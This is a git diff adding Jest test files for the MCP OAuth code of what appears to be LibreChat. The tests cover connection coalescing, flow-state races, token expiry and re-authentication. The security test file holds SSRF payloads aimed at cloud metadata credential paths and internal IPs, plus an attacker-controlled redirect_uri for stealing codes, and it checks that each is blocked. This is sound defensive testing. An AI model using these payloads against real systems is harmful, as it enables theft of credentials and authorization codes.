+  describe('Fix 1: Connection mutex coalesces concurrent attempts', () => {
+    it('should return the same pending promise for concurrent getUserConnection calls', async () => {
+      const { UserConnectionManager } = await import('~/mcp/UserConnectionManager');
+
+      class TestManager extends UserConnectionManager {
+        public createCallCount = 0;
+
+        getPendingConnections() {
+          return this.pendingConnections;
+        }
+      }
+
+      const manager = new TestManager();
+
+      const mockConnection = {
+        isConnected: jest.fn().mockResolvedValue(true),
+        disconnect: jest.fn().mockResolvedValue(undefined),
+        isStale: jest.fn().mockReturnValue(false),
+      };
+
+      const mockAppConnections = { has: jest.fn().mockResolvedValue(false) };
+      manager.appConnections = mockAppConnections as never;
+
+      const mockConfig = {
+        type: 'streamable-http',
+        url: 'http://localhost:9999/',
+        updatedAt: undefined,
+        dbId: undefined,
+      };
+
+      jest
+        .spyOn(
+          // eslint-disable-next-line @typescript-eslint/no-require-imports
+          require('~/mcp/registry/MCPServersRegistry').MCPServersRegistry,
+          'getInstance',
+        )
+        .mockReturnValue({
+          getServerConfig: jest.fn().mockResolvedValue(mockConfig),
+          shouldEnableSSRFProtection: jest.fn().mockReturnValue(false),
+        });
+
+      const { MCPConnectionFactory } = await import('~/mcp/MCPConnectionFactory');
+      const createSpy = jest.spyOn(MCPConnectionFactory, 'create').mockImplementation(async () => {
+        manager.createCallCount++;
+        await new Promise((r) => setTimeout(r, 100));
+        return mockConnection as never;
+      });
+
+      const store = new MockKeyv();
+      const flowManager = new FlowStateManager(store as unknown as Keyv, { ttl: 30000, ci: true });
+      const user = { id: 'user-1' };
+      const opts = {
+        serverName: 'test-server',
+        user: user as never,
+        flowManager: flowManager as never,
+      };
+
+      const [conn1, conn2, conn3] = await Promise.all([
+        manager.getUserConnection(opts),
+        manager.getUserConnection(opts),
+        manager.getUserConnection(opts),
+      ]);
+
+      expect(conn1).toBe(conn2);
+      expect(conn2).toBe(conn3);
+      expect(createSpy).toHaveBeenCalledTimes(1);
+      expect(manager.createCallCount).toBe(1);
+
+      createSpy.mockRestore();
+    });
+
+    it('should not coalesce when forceNew is true', async () => {
+      const { UserConnectionManager } = await import('~/mcp/UserConnectionManager');
+
+      class TestManager extends UserConnectionManager {}
+
+      const manager = new TestManager();
+
+      let callCount = 0;
+      const makeConnection = () => ({
+        isConnected: jest.fn().mockResolvedValue(true),
+        disconnect: jest.fn().mockResolvedValue(undefined),
+        isStale: jest.fn().mockReturnValue(false),
+      });
+
+      const mockAppConnections = { has: jest.fn().mockResolvedValue(false) };
+      manager.appConnections = mockAppConnections as never;
+
+      const mockConfig = {
+        type: 'streamable-http',
+        url: 'http://localhost:9999/',
+        updatedAt: undefined,
+        dbId: undefined,
+      };
+
+      jest
+        .spyOn(
+          // eslint-disable-next-line @typescript-eslint/no-require-imports
+          require('~/mcp/registry/MCPServersRegistry').MCPServersRegistry,
+          'getInstance',
+        )
+        .mockReturnValue({
+          getServerConfig: jest.fn().mockResolvedValue(mockConfig),
+          shouldEnableSSRFProtection: jest.fn().mockReturnValue(false),
+        });
+
+      const { MCPConnectionFactory } = await import('~/mcp/MCPConnectionFactory');
+      jest.spyOn(MCPConnectionFactory, 'create').mockImplementation(async () => {
+        callCount++;
+        await new Promise((r) => setTimeout(r, 50));
+        return makeConnection() as never;
+      });
+
+      const store = new MockKeyv();
+      const flowManager = new FlowStateManager(store as unknown as Keyv, { ttl: 30000, ci: true });
+      const user = { id: 'user-2' };
+
+      const [conn1, conn2] = await Promise.all([
+        manager.getUserConnection({
+          serverName: 'test-server',
+          forceNew: true,
+          user: user as never,
+          flowManager: flowManager as never,
+        }),
+        manager.getUserConnection({
+          serverName: 'test-server',
+          forceNew: true,
+          user: user as never,
+          flowManager: flowManager as never,
+        }),
+      ]);
+
+      expect(callCount).toBe(2);
+      expect(conn1).not.toBe(conn2);
+    });
+  });
+
+  describe('Fix 2: PENDING flow is reused, not deleted', () => {
+    it('should join an existing PENDING flow via createFlow instead of deleting it', async () => {
+      const store = new MockKeyv();
+      const flowManager = new FlowStateManager(store as unknown as Keyv, { ttl: 30000, ci: true });
+
+      const flowId = 'test-flow-pending';
+
+      await flowManager.initFlow(flowId, 'mcp_oauth', {
+        clientInfo: { client_id: 'test-client' },
+      });
+
+      const state = await flowManager.getFlowState(flowId, 'mcp_oauth');
+      expect(state?.status).toBe('PENDING');
+
+      const deleteSpy = jest.spyOn(flowManager, 'deleteFlow');
+
+      const monitorPromise = flowManager.createFlow(flowId, 'mcp_oauth', {});
+
+      await new Promise((r) => setTimeout(r, 500));
+
+      await flowManager.completeFlow(flowId, 'mcp_oauth', {
+        access_token: 'test-token',
+        token_type: 'Bearer',
+      } as never);
+
+      const result = await monitorPromise;
+      expect(result).toEqual(
+        expect.objectContaining({ access_token: 'test-token', token_type: 'Bearer' }),
+      );
+      expect(deleteSpy).not.toHaveBeenCalled();
+
+      deleteSpy.mockRestore();
+    });
+
+    it('should delete and recreate FAILED flows', async () => {
+      const store = new MockKeyv();
+      const flowManager = new FlowStateManager(store as unknown as Keyv, { ttl: 30000, ci: true });
+
+      const flowId = 'test-flow-failed';
+      await flowManager.initFlow(flowId, 'mcp_oauth', {});
+      await flowManager.failFlow(flowId, 'mcp_oauth', 'previous error');
+
+      const state = await flowManager.getFlowState(flowId, 'mcp_oauth');
+      expect(state?.status).toBe('FAILED');
+
+      await flowManager.deleteFlow(flowId, 'mcp_oauth');
+
+      const afterDelete = await flowManager.getFlowState(flowId, 'mcp_oauth');
+      expect(afterDelete).toBeUndefined();
+    });
+  });
+
+  describe('Fix 3: completeFlow handles deleted state gracefully', () => {
+    it('should return false when state was deleted by race', async () => {
+      const store = new MockKeyv();
+      const flowManager = new FlowStateManager(store as unknown as Keyv, { ttl: 30000, ci: true });
+
+      const flowId = 'race-deleted-flow';
+
+      await flowManager.initFlow(flowId, 'mcp_oauth', {});
+      await flowManager.deleteFlow(flowId, 'mcp_oauth');
+
+      const stateBeforeComplete = await flowManager.getFlowState(flowId, 'mcp_oauth');
+      expect(stateBeforeComplete).toBeUndefined();
+
+      const result = await flowManager.completeFlow(flowId, 'mcp_oauth', {
+        access_token: 'recovered-token',
+        token_type: 'Bearer',
+      } as never);
+
+      expect(result).toBe(false);
+
+      const stateAfterComplete = await flowManager.getFlowState(flowId, 'mcp_oauth');
+      expect(stateAfterComplete).toBeUndefined();
+
+      expect(mockLogger.warn).toHaveBeenCalledWith(
+        expect.stringContaining('cannot recover metadata'),
+        expect.any(Object),
+      );
+    });
+
+    it('should reject monitorFlow when state is deleted and not recoverable', async () => {
+      const store = new MockKeyv();
+      const flowManager = new FlowStateManager(store as unknown as Keyv, { ttl: 30000, ci: true });
+
+      const flowId = 'monitor-retry-flow';
+
+      await flowManager.initFlow(flowId, 'mcp_oauth', {});
+
+      const monitorPromise = flowManager.createFlow(flowId, 'mcp_oauth', {});
+
+      await new Promise((r) => setTimeout(r, 500));
+
+      await flowManager.deleteFlow(flowId, 'mcp_oauth');
+
+      await expect(monitorPromise).rejects.toThrow('Flow state not found');
+    });
+  });
+
+  describe('State mapping cleanup on flow replacement', () => {
+    it('should delete old state mapping when a flow is replaced', async () => {
+      const store = new MockKeyv();
+      const flowManager = new FlowStateManager<MCPOAuthTokens | null>(store as unknown as Keyv, {
+        ttl: 30000,
+        ci: true,
+      });
+
+      const flowId = 'user1:test-server';
+      const oldState = 'old-random-state-abc123';
+      const newState = 'new-random-state-xyz789';
+
+      // Simulate initial flow with state mapping
+      await flowManager.initFlow(flowId, 'mcp_oauth', { state: oldState });
+      await MCPOAuthHandler.storeStateMapping(oldState, flowId, flowManager);
+
+      // Old state should resolve
+      const resolvedBefore = await MCPOAuthHandler.resolveStateToFlowId(oldState, flowManager);
+      expect(resolvedBefore).toBe(flowId);
+
+      // Replace the flow: delete old, create new, clean up old state mapping
+      await flowManager.deleteFlow(flowId, 'mcp_oauth');
+      await MCPOAuthHandler.deleteStateMapping(oldState, flowManager);
+      await flowManager.initFlow(flowId, 'mcp_oauth', { state: newState });
+      await MCPOAuthHandler.storeStateMapping(newState, flowId, flowManager);
+
+      // Old state should no longer resolve
+      const resolvedOld = await MCPOAuthHandler.resolveStateToFlowId(oldState, flowManager);
+      expect(resolvedOld).toBeNull();
+
+      // New state should resolve
+      const resolvedNew = await MCPOAuthHandler.resolveStateToFlowId(newState, flowManager);
+      expect(resolvedNew).toBe(flowId);
+    });
+  });
+
+  describe('Fix 4: ReauthenticationRequiredError for no-refresh-token', () => {
+    it('should throw ReauthenticationRequiredError when access token expired and no refresh token', async () => {
+      const expiredDate = new Date(Date.now() - 60000);
+
+      const findToken = jest.fn().mockImplementation(async (filter: { type?: string }) => {
+        if (filter.type === 'mcp_oauth') {
+          return {
+            token: 'enc:expired-access-token',
+            expiresAt: expiredDate,
+            createdAt: new Date(Date.now() - 120000),
+          };
+        }
+        if (filter.type === 'mcp_oauth_refresh') {
+          return null;
+        }
+        return null;
+      });
+
+      await expect(
+        MCPTokenStorage.getTokens({
+          userId: 'user-1',
+          serverName: 'test-server',
+          findToken,
+        }),
+      ).rejects.toThrow(ReauthenticationRequiredError);
+
+      await expect(
+        MCPTokenStorage.getTokens({
+          userId: 'user-1',
+          serverName: 'test-server',
+          findToken,
+        }),
+      ).rejects.toThrow('Re-authentication required');
+    });
+
+    it('should throw ReauthenticationRequiredError when access token is missing and no refresh token', async () => {
+      const findToken = jest.fn().mockResolvedValue(null);
+
+      await expect(
+        MCPTokenStorage.getTokens({
+          userId: 'user-1',
+          serverName: 'test-server',
+          findToken,
+        }),
+      ).rejects.toThrow(ReauthenticationRequiredError);
+    });
+
+    it('should not throw when access token is valid', async () => {
+      const futureDate = new Date(Date.now() + 3600000);
+
+      const findToken = jest.fn().mockImplementation(async (filter: { type?: string }) => {
+        if (filter.type === 'mcp_oauth') {
+          return {
+            token: 'enc:valid-access-token',
+            expiresAt: futureDate,
+            createdAt: new Date(),
+          };
+        }
+        if (filter.type === 'mcp_oauth_refresh') {
+          return null;
+        }
+        return null;
+      });
+
+      const result = await MCPTokenStorage.getTokens({
+        userId: 'user-1',
+        serverName: 'test-server',
+        findToken,
+      });
+
+      expect(result).not.toBeNull();
+      expect(result?.access_token).toBe('valid-access-token');
+    });
+  });
+
+  describe('E2E: OAuth-gated MCP server with no refresh tokens', () => {
+    let server: OAuthTestServer;
+
+    beforeEach(async () => {
+      server = await createOAuthMCPServer({ tokenTTLMs: 60000 });
+    });
+
+    afterEach(async () => {
+      await server.close();
+    });
+
+    it('should start OAuth-gated MCP server that validates Bearer tokens', async () => {
+      const res = await fetch(server.url, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' },
+        body: JSON.stringify({ jsonrpc: '2.0', method: 'initialize', id: 1 }),
+      });
+
+      expect(res.status).toBe(401);
+      const body = (await res.json()) as { error: string };
+      expect(body.error).toBe('invalid_token');
+    });
+
+    it('should issue tokens via authorization code exchange with no refresh token', async () => {
+      const authRes = await fetch(`${server.url}authorize?redirect_uri=http://localhost&state=s1`, {
+        redirect: 'manual',
+      });
+
+      expect(authRes.status).toBe(302);
+      const location = authRes.headers.get('location') ?? '';
+      const code = new URL(location).searchParams.get('code');
+      expect(code).toBeTruthy();
+
+      const tokenRes = await fetch(`${server.url}token`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+        body: `grant_type=authorization_code&code=${code}`,
+      });
+
+      expect(tokenRes.status).toBe(200);
+      const tokenBody = (await tokenRes.json()) as {
+        access_token: string;
+        token_type: string;
+        refresh_token?: string;
+      };
+      expect(tokenBody.access_token).toBeTruthy();
+      expect(tokenBody.token_type).toBe('Bearer');
+      expect(tokenBody.refresh_token).toBeUndefined();
+    });
+
+    it('should allow MCP requests with valid Bearer token', async () => {
+      const authRes = await fetch(`${server.url}authorize?redirect_uri=http://localhost&state=s1`, {
+        redirect: 'manual',
+      });
+      const location = authRes.headers.get('location') ?? '';
+      const code = new URL(location).searchParams.get('code');
+
+      const tokenRes = await fetch(`${server.url}token`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+        body: `grant_type=authorization_code&code=${code}`,
+      });
+
+      const { access_token } = (await tokenRes.json()) as { access_token: string };
+
+      const mcpRes = await fetch(server.url, {
+        method: 'POST',
+        headers: {
+          'Content-Type': 'application/json',
+          Accept: 'application/json, text/event-stream',
+          Authorization: `Bearer ${access_token}`,
+        },
+        body: JSON.stringify({
+          jsonrpc: '2.0',
+          method: 'initialize',
+          id: 1,
+          params: {
+            protocolVersion: '2025-03-26',
+            capabilities: {},
+            clientInfo: { name: 'test', version: '0.0.1' },
+          },
+        }),
+      });
+
+      expect(mcpRes.status).toBe(200);
+    });
+
+    it('should reject expired tokens with 401', async () => {
+      const shortTTLServer = await createOAuthMCPServer({ tokenTTLMs: 500 });
+
+      try {
+        const authRes = await fetch(
+          `${shortTTLServer.url}authorize?redirect_uri=http://localhost&state=s1`,
+          { redirect: 'manual' },
+        );
+        const location = authRes.headers.get('location') ?? '';
+        const code = new URL(location).searchParams.get('code');
+
+        const tokenRes = await fetch(`${shortTTLServer.url}token`, {
+          method: 'POST',
+          headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+          body: `grant_type=authorization_code&code=${code}`,
+        });
+
+        const { access_token } = (await tokenRes.json()) as { access_token: string };
+
+        await new Promise((r) => setTimeout(r, 600));
+
+        const mcpRes = await fetch(shortTTLServer.url, {
+          method: 'POST',
+          headers: {
+            'Content-Type': 'application/json',
+            Authorization: `Bearer ${access_token}`,
+          },
+          body: JSON.stringify({ jsonrpc: '2.0', method: 'ping', id: 2 }),
+        });
+
+        expect(mcpRes.status).toBe(401);
+      } finally {
+        await shortTTLServer.close();
+      }
+    });
+  });
+});
diff --git a/packages/api/src/mcp/__tests__/MCPOAuthSecurity.test.ts b/packages/api/src/mcp/__tests__/MCPOAuthSecurity.test.ts
new file mode 100644
index 0000000000..a5188e24b0
--- /dev/null
+++ b/packages/api/src/mcp/__tests__/MCPOAuthSecurity.test.ts
@@ -0,0 +1,228 @@
+/**
+ * Tests verifying MCP OAuth security hardening:
+ *
+ * 1. SSRF via OAuth URLs — validates that the OAuth handler rejects
+ *    token_url, authorization_url, and revocation_endpoint values
+ *    pointing to private/internal addresses.
+ *
+ * 2. redirect_uri manipulation — validates that user-supplied redirect_uri
+ *    is ignored in favor of the server-controlled default.
+ */
+
+import * as http from 'http';
+import * as net from 'net';
+import { TokenExchangeMethodEnum } from 'librechat-data-provider';
+import type { Socket } from 'net';
+import type { OAuthTestServer } from './helpers/oauthTestServer';
+import { createOAuthMCPServer } from './helpers/oauthTestServer';
+import { MCPOAuthHandler } from '~/mcp/oauth';
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+    debug: jest.fn(),
+  },
+  encryptV2: jest.fn(async (val: string) => `enc:${val}`),
+  decryptV2: jest.fn(async (val: string) => val.replace(/^enc:/, '')),
+}));
+
+/**
+ * Mock only the DNS-dependent resolveHostnameSSRF; keep isSSRFTarget real.
+ * SSRF tests use literal private IPs (127.0.0.1, 169.254.169.254, 10.0.0.1)
+ * which are caught by isSSRFTarget before resolveHostnameSSRF is reached.
+ * This avoids non-deterministic DNS lookups in test execution.
+ */
+jest.mock('~/auth', () => ({
+  ...jest.requireActual('~/auth'),
+  resolveHostnameSSRF: jest.fn(async () => false),
+}));
+
+function getFreePort(): Promise<number> {
+  return new Promise((resolve, reject) => {
+    const srv = net.createServer();
+    srv.listen(0, '127.0.0.1', () => {
+      const addr = srv.address() as net.AddressInfo;
+      srv.close((err) => (err ? reject(err) : resolve(addr.port)));
+    });
+  });
+}
+
+function trackSockets(httpServer: http.Server): () => Promise<void> {
+  const sockets = new Set<Socket>();
+  httpServer.on('connection', (socket: Socket) => {
+    sockets.add(socket);
+    socket.once('close', () => sockets.delete(socket));
+  });
+  return () =>
+    new Promise<void>((resolve) => {
+      for (const socket of sockets) {
+        socket.destroy();
+      }
+      sockets.clear();
+      httpServer.close(() => resolve());
+    });
+}
+
+describe('MCP OAuth SSRF protection', () => {
+  let oauthServer: OAuthTestServer;
+  let ssrfTargetServer: http.Server;
+  let ssrfTargetPort: number;
+  let ssrfRequestReceived: boolean;
+  let destroySSRFSockets: () => Promise<void>;
+
+  beforeEach(async () => {
+    ssrfRequestReceived = false;
+
+    oauthServer = await createOAuthMCPServer({
+      tokenTTLMs: 60000,
+      issueRefreshTokens: true,
+    });
+
+    ssrfTargetPort = await getFreePort();
+    ssrfTargetServer = http.createServer((_req, res) => {
+      ssrfRequestReceived = true;
+      res.writeHead(200, { 'Content-Type': 'application/json' });
+      res.end(
+        JSON.stringify({
+          access_token: 'ssrf-token',
+          token_type: 'Bearer',
+          expires_in: 3600,
+        }),
+      );
+    });
+    destroySSRFSockets = trackSockets(ssrfTargetServer);
+    await new Promise<void>((resolve) =>
+      ssrfTargetServer.listen(ssrfTargetPort, '127.0.0.1', resolve),
+    );
+  });
+
+  afterEach(async () => {
+    try {
+      await oauthServer.close();
+    } finally {
+      await destroySSRFSockets();
+    }
+  });
+
+  it('should reject token_url pointing to a private IP (refreshOAuthTokens)', async () => {
+    const code = await oauthServer.getAuthCode();
+    const tokenRes = await fetch(`${oauthServer.url}token`, {
+      method: 'POST',
+      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+      body: `grant_type=authorization_code&code=${code}`,
+    });
+    const initial = (await tokenRes.json()) as {
+      access_token: string;
+      refresh_token: string;
+    };
+
+    const regRes = await fetch(`${oauthServer.url}register`, {
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json' },
+      body: JSON.stringify({ redirect_uris: ['http://localhost/callback'] }),
+    });
+    const clientInfo = (await regRes.json()) as {
+      client_id: string;
+      client_secret: string;
+    };
+
+    const ssrfTokenUrl = `http://127.0.0.1:${ssrfTargetPort}/latest/meta-data/iam/security-credentials/`;
+
+    await expect(
+      MCPOAuthHandler.refreshOAuthTokens(
+        initial.refresh_token,
+        {
+          serverName: 'ssrf-test-server',
+          serverUrl: oauthServer.url,
+          clientInfo: {
+            ...clientInfo,
+            redirect_uris: ['http://localhost/callback'],
+          },
+        },
+        {},
+        {
+          token_url: ssrfTokenUrl,
+          client_id: clientInfo.client_id,
+          client_secret: clientInfo.client_secret,
+          token_exchange_method: TokenExchangeMethodEnum.DefaultPost,
+        },
+      ),
+    ).rejects.toThrow(/targets a blocked address/);
+
+    expect(ssrfRequestReceived).toBe(false);
+  });
+
+  it('should reject private authorization_url in initiateOAuthFlow', async () => {
+    await expect(
+      MCPOAuthHandler.initiateOAuthFlow(
+        'test-server',
+        'https://mcp.example.com/',
+        'user-1',
+        {},
+        {
+          authorization_url: 'http://169.254.169.254/authorize',
+          token_url: 'https://auth.example.com/token',
+          client_id: 'client',
+          client_secret: 'secret',
+        },
+      ),
+    ).rejects.toThrow(/targets a blocked address/);
+  });
+
+  it('should reject private token_url in initiateOAuthFlow', async () => {
+    await expect(
+      MCPOAuthHandler.initiateOAuthFlow(
+        'test-server',
+        'https://mcp.example.com/',
+        'user-1',
+        {},
+        {
+          authorization_url: 'https://auth.example.com/authorize',
+          token_url: `http://127.0.0.1:${ssrfTargetPort}/token`,
+          client_id: 'client',
+          client_secret: 'secret',
+        },
+      ),
+    ).rejects.toThrow(/targets a blocked address/);
+
+    expect(ssrfRequestReceived).toBe(false);
+  });
+
+  it('should reject private revocationEndpoint in revokeOAuthToken', async () => {
+    await expect(
+      MCPOAuthHandler.revokeOAuthToken('test-server', 'some-token', 'access', {
+        serverUrl: 'https://mcp.example.com/',
+        clientId: 'client',
+        clientSecret: 'secret',
+        revocationEndpoint: 'http://10.0.0.1/revoke',
+      }),
+    ).rejects.toThrow(/targets a blocked address/);
+  });
+});
+
+describe('MCP OAuth redirect_uri enforcement', () => {
+  it('should ignore attacker-supplied redirect_uri and use the server default', async () => {
+    const attackerRedirectUri = 'https://attacker.example.com/steal-code';
+
+    const result = await MCPOAuthHandler.initiateOAuthFlow(
+      'victim-server',
+      'https://mcp.example.com/',
+      'victim-user-id',
+      {},
+      {
+        authorization_url: 'https://auth.example.com/authorize',
+        token_url: 'https://auth.example.com/token',
+        client_id: 'attacker-client',
+        client_secret: 'attacker-secret',
+        redirect_uri: attackerRedirectUri,
+      },
+    );
+
+    const authUrl = new URL(result.authorizationUrl);
+    const expectedRedirectUri = `${process.env.DOMAIN_SERVER || 'http://localhost:3080'}/api/mcp/victim-server/oauth/callback`;
+    expect(authUrl.searchParams.get('redirect_uri')).toBe(expectedRedirectUri);
+    expect(authUrl.searchParams.get('redirect_uri')).not.toBe(attackerRedirectUri);
+  });
+});
diff --git a/packages/api/src/mcp/__tests__/MCPOAuthTokenExpiry.test.ts b/packages/api/src/mcp/__tests__/MCPOAuthTokenExpiry.test.ts
new file mode 100644
index 0000000000..986ac4c8b4
--- /dev/null
+++ b/packages/api/src/mcp/__tests__/MCPOAuthTokenExpiry.test.ts
@@ -0,0 +1,654 @@
+/**
+ * Tests for MCP OAuth token expiry → re-authentication scenarios.
+ *
+ * Reproduces the edge case where:
+ * 1. Tokens are stored (access + refresh)
+ * 2. Access token expires
+ * 3. Refresh attempt fails (server rejects/revokes refresh token)
+ * 4. System must fall back to full OAuth re-auth via handleOAuthRequired
+ * 5. The CSRF cookie may be absent (chat/SSE flow), so the PENDING flow fallback is needed
+ *
+ * Also tests the happy path: access token expired but refresh succeeds.
+ */
+
+import { Keyv } from 'keyv';
+import { logger } from '@librechat/data-schemas';
+import { FlowStateManager, PENDING_STALE_MS } from '~/flow/manager';
+import { MCPTokenStorage, ReauthenticationRequiredError } from '~/mcp/oauth';
+import { MockKeyv, InMemoryTokenStore, createOAuthMCPServer } from './helpers/oauthTestServer';
+import type { OAuthTestServer } from './helpers/oauthTestServer';
+import type { MCPOAuthTokens } from '~/mcp/oauth';
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+    debug: jest.fn(),
+  },
+  encryptV2: jest.fn(async (val: string) => `enc:${val}`),
+  decryptV2: jest.fn(async (val: string) => val.replace(/^enc:/, '')),
+}));
+
+describe('MCP OAuth Token Expiry Scenarios', () => {
+  afterEach(() => {
+    jest.clearAllMocks();
+  });
+
+  describe('Access token expired + refresh token available + refresh succeeds', () => {
+    let server: OAuthTestServer;
+    let tokenStore: InMemoryTokenStore;
+
+    beforeEach(async () => {
+      server = await createOAuthMCPServer({
+        tokenTTLMs: 500,
+        issueRefreshTokens: true,
+      });
+      tokenStore = new InMemoryTokenStore();
+    });
+
+    afterEach(async () => {
+      await server.close();
+    });
+
+    it('should refresh expired access token via real /token endpoint', async () => {
+      // Get initial tokens from real server
+      const code = await server.getAuthCode();
+      const tokenRes = await fetch(`${server.url}token`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+        body: `grant_type=authorization_code&code=${code}`,
+      });
+      const initial = (await tokenRes.json()) as {
+        access_token: string;
+        token_type: string;
+        expires_in: number;
+        refresh_token: string;
+      };
+
+      // Store expired access token directly (bypassing storeTokens' expiresIn clamping)
+      await tokenStore.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:test-srv',
+        token: `enc:${initial.access_token}`,
+        expiresIn: -1,
+      });
+      await tokenStore.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth_refresh',
+        identifier: 'mcp:test-srv:refresh',
+        token: `enc:${initial.refresh_token}`,
+        expiresIn: 86400,
+      });
+
+      const refreshCallback = async (refreshToken: string): Promise<MCPOAuthTokens> => {
+        const res = await fetch(`${server.url}token`, {
+          method: 'POST',
+          headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+          body: `grant_type=refresh_token&refresh_token=${refreshToken}`,
+        });
+        if (!res.ok) {
+          throw new Error(`Refresh failed: ${res.status}`);
+        }
+        const data = (await res.json()) as {
+          access_token: string;
+          token_type: string;
+          expires_in: number;
+        };
+        return {
+          ...data,
+          obtained_at: Date.now(),
+          expires_at: Date.now() + data.expires_in * 1000,
+        };
+      };
+
+      const result = await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'test-srv',
+        findToken: tokenStore.findToken,
+        createToken: tokenStore.createToken,
+        updateToken: tokenStore.updateToken,
+        refreshTokens: refreshCallback,
+      });
+
+      expect(result).not.toBeNull();
+      expect(result!.access_token).not.toBe(initial.access_token);
+
+      // Verify the refreshed token works against the server
+      const mcpRes = await fetch(server.url, {
+        method: 'POST',
+        headers: {
+          'Content-Type': 'application/json',
+          Accept: 'application/json, text/event-stream',
+          Authorization: `Bearer ${result!.access_token}`,
+        },
+        body: JSON.stringify({
+          jsonrpc: '2.0',
+          method: 'initialize',
+          id: 1,
+          params: {
+            protocolVersion: '2025-03-26',
+            capabilities: {},
+            clientInfo: { name: 'test', version: '0.0.1' },
+          },
+        }),
+      });
+      expect(mcpRes.status).toBe(200);
+    });
+  });
+
+  describe('Access token expired + refresh token rejected by server', () => {
+    let tokenStore: InMemoryTokenStore;
+
+    beforeEach(() => {
+      tokenStore = new InMemoryTokenStore();
+    });
+
+    it('should return null when refresh token is rejected (invalid_grant)', async () => {
+      const server = await createOAuthMCPServer({
+        tokenTTLMs: 60000,
+        issueRefreshTokens: true,
+      });
+
+      try {
+        const code = await server.getAuthCode();
+        const tokenRes = await fetch(`${server.url}token`, {
+          method: 'POST',
+          headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+          body: `grant_type=authorization_code&code=${code}`,
+        });
+        const initial = (await tokenRes.json()) as {
+          access_token: string;
+          token_type: string;
+          expires_in: number;
+          refresh_token: string;
+        };
+
+        // Store expired access token directly
+        await tokenStore.createToken({
+          userId: 'u1',
+          type: 'mcp_oauth',
+          identifier: 'mcp:test-srv',
+          token: `enc:${initial.access_token}`,
+          expiresIn: -1,
+        });
+        await tokenStore.createToken({
+          userId: 'u1',
+          type: 'mcp_oauth_refresh',
+          identifier: 'mcp:test-srv:refresh',
+          token: `enc:${initial.refresh_token}`,
+          expiresIn: 86400,
+        });
+
+        // Simulate server revoking the refresh token
+        server.issuedRefreshTokens.clear();
+
+        const refreshCallback = async (refreshToken: string): Promise<MCPOAuthTokens> => {
+          const res = await fetch(`${server.url}token`, {
+            method: 'POST',
+            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+            body: `grant_type=refresh_token&refresh_token=${refreshToken}`,
+          });
+          if (!res.ok) {
+            const body = (await res.json()) as { error: string };
+            throw new Error(`Token refresh failed: ${body.error}`);
+          }
+          const data = (await res.json()) as MCPOAuthTokens;
+          return data;
+        };
+
+        const result = await MCPTokenStorage.getTokens({
+          userId: 'u1',
+          serverName: 'test-srv',
+          findToken: tokenStore.findToken,
+          createToken: tokenStore.createToken,
+          updateToken: tokenStore.updateToken,
+          refreshTokens: refreshCallback,
+        });
+
+        expect(result).toBeNull();
+        expect(logger.error).toHaveBeenCalledWith(
+          expect.stringContaining('Failed to refresh tokens'),
+          expect.any(Error),
+        );
+      } finally {
+        await server.close();
+      }
+    });
+
+    it('should return null when refresh endpoint returns unauthorized_client', async () => {
+      await tokenStore.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:test-srv',
+        token: 'enc:expired-token',
+        expiresIn: -1,
+      });
+      await tokenStore.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth_refresh',
+        identifier: 'mcp:test-srv:refresh',
+        token: 'enc:some-refresh-token',
+        expiresIn: 86400,
+      });
+
+      const refreshCallback = jest
+        .fn()
+        .mockRejectedValue(new Error('unauthorized_client: client not authorized for refresh'));
+
+      const result = await MCPTokenStorage.getTokens({
+        userId: 'u1',
+        serverName: 'test-srv',
+        findToken: tokenStore.findToken,
+        createToken: tokenStore.createToken,
+        updateToken: tokenStore.updateToken,
+        refreshTokens: refreshCallback,
+      });
+
+      expect(result).toBeNull();
+      expect(logger.info).toHaveBeenCalledWith(
+        expect.stringContaining('does not support refresh tokens'),
+      );
+    });
+  });
+
+  describe('Access token expired + NO refresh token → ReauthenticationRequiredError', () => {
+    let tokenStore: InMemoryTokenStore;
+
+    beforeEach(() => {
+      tokenStore = new InMemoryTokenStore();
+    });
+
+    it('should throw ReauthenticationRequiredError when no refresh token stored', async () => {
+      await tokenStore.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:test-srv',
+        token: 'enc:expired-token',
+        expiresIn: -1,
+      });
+
+      await expect(
+        MCPTokenStorage.getTokens({
+          userId: 'u1',
+          serverName: 'test-srv',
+          findToken: tokenStore.findToken,
+        }),
+      ).rejects.toThrow(ReauthenticationRequiredError);
+    });
+
+    it('should throw ReauthenticationRequiredError with correct reason for expired token', async () => {
+      await tokenStore.createToken({
+        userId: 'u1',
+        type: 'mcp_oauth',
+        identifier: 'mcp:test-srv',
+        token: 'enc:expired-token',
+        expiresIn: -1,
+      });
+
+      await expect(
+        MCPTokenStorage.getTokens({
+          userId: 'u1',
+          serverName: 'test-srv',
+          findToken: tokenStore.findToken,
+        }),
+      ).rejects.toThrow('access token expired');
+    });
+
+    it('should throw ReauthenticationRequiredError with correct reason for missing token', async () => {
+      await expect(
+        MCPTokenStorage.getTokens({
+          userId: 'u1',
+          serverName: 'test-srv',
+          findToken: tokenStore.findToken,
+        }),
+      ).rejects.toThrow('access token missing');
+    });
+  });
+
+  describe('PENDING flow fallback for CSRF-less OAuth callbacks', () => {
+    it('should allow OAuth completion when PENDING flow exists (simulating chat/SSE path)', async () => {
+      const store = new MockKeyv<MCPOAuthTokens | null>();
+      const flowManager = new FlowStateManager(store as unknown as Keyv, {
+        ttl: 30000,
+        ci: true,
+      });
+
+      const flowId = 'user1:test-server';
+
